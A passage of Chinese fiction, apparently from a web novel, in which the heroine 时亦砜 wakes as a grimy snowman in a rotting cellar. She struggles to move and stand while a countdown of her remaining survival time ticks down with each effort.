地窖很大——大约有半个篮球场那么大。地面是潮湿的泥土,墙壁是粗糙的砖石,上面覆盖着厚厚的、墨绿色的苔藓。地窖的角落里堆满了腐烂的蔬菜——白菜、土豆、胡萝卜,全都已经烂成了一滩滩褐色的、散发着恶臭的糊状物。 地窖的中央,有一个巨大的、锈迹斑斑的铁桶。 桶里装满了某种深褐色的液体,表面漂浮着一层厚厚的油脂和霉菌。 而她自己—— 时亦砜“低头”,看向自己。 她看到了一具身体。 但不是人类的身体。 那是一具由雪构成的身体——或者说,曾经是雪,现在却因为沾染了地窖里的污秽,变成了灰褐色、布满污渍的“雪人”。 她的身体大约有一米七高,和生前的身高差不多。但形状很粗糙——没有精细的五官,没有分明的手指,只有大致的人形轮廓。她的“手臂”是两根粗短的雪柱,“腿”是更粗的两根雪柱,躯干则是臃肿的一团。 她的“头”是一个不规则的雪球,上面嵌着两颗黑色的石子——那是她的眼睛。 还有一根细小的枯枝,歪歪斜斜地插在脸上——那是她的鼻子。 以及,用某种红色颜料——或许是果酱,或许是别的什么——画出来的、一个夸张的、上扬的嘴角。 她变成了一个雪人。 一个又脏又丑、躺在地窖里的雪人。 “……” 时亦砜尝试移动。 首先是指尖——如果那团雪还能算是指尖的话。 她集中意识,试图抬起右手。 没有反应。 她再次尝试,用尽全部“力气”——如果意识也有力气的话。 终于,那根粗短的雪柱微微颤动了一下。 然后,极其缓慢地,抬起了几厘米。 成功了。 但代价是巨大的。 时亦亦砜感觉到自己的“意识”在那一瞬间剧烈消耗——不是疲劳,而是某种更根本的东西在流失。就像电池的电量,每动一下,就会减少一格。 她立刻明白了。 这就是“延续态”。 她的意识依附在这具雪人身体上,而每一次行动,都会消耗她残存的生存时长。 她看了一眼“视野”的左上角。 那里漂浮着一行半透明的数字: 00:58:37。 五十八分钟。 她只剩不到一个小时。 时亦砜没有时间犹豫。 她开始尝试适应这具新身体。 首先是站起来,这比她想象的更难。 雪人的身体没有骨骼,没有肌肉,只有松散堆积的雪——尽管因为低温而保持了一定硬度,但本质上依旧是松散的、容易坍塌的。 她尝试用“手臂”撑地。 第一次,手臂直接陷进了潮湿的泥土里。 第二次,她调整角度,用更宽的面去支撑。 手臂没有陷进去,但也没有足够的摩擦力让她撑起身体。 第三次,她试着滚动——像真正的雪球那样,先侧身,然后利用惯性让自己“坐”起来。 成功了。 她坐了起来。 但这个过程消耗了她整整两分钟。 生存时长变成了0:56:41。 时亦砜深吸一口气,尝试坐起来。 她先弯曲“膝盖”,把“脚”收到身下。 然后,用双手撑住地面,一点点把重心抬高。 这个过程异常缓慢。 每一厘米的移动,都需要她集中全部意识,精细控制每一处雪的凝聚与分散。她必须让雪在需要支撑时变得坚硬,在需要移动时保持松散。 这就像用沙子搭建城堡,还要让城堡自己站起来走路。 五分钟后,她终于站了起来。 摇摇晃晃,但确实站起来了。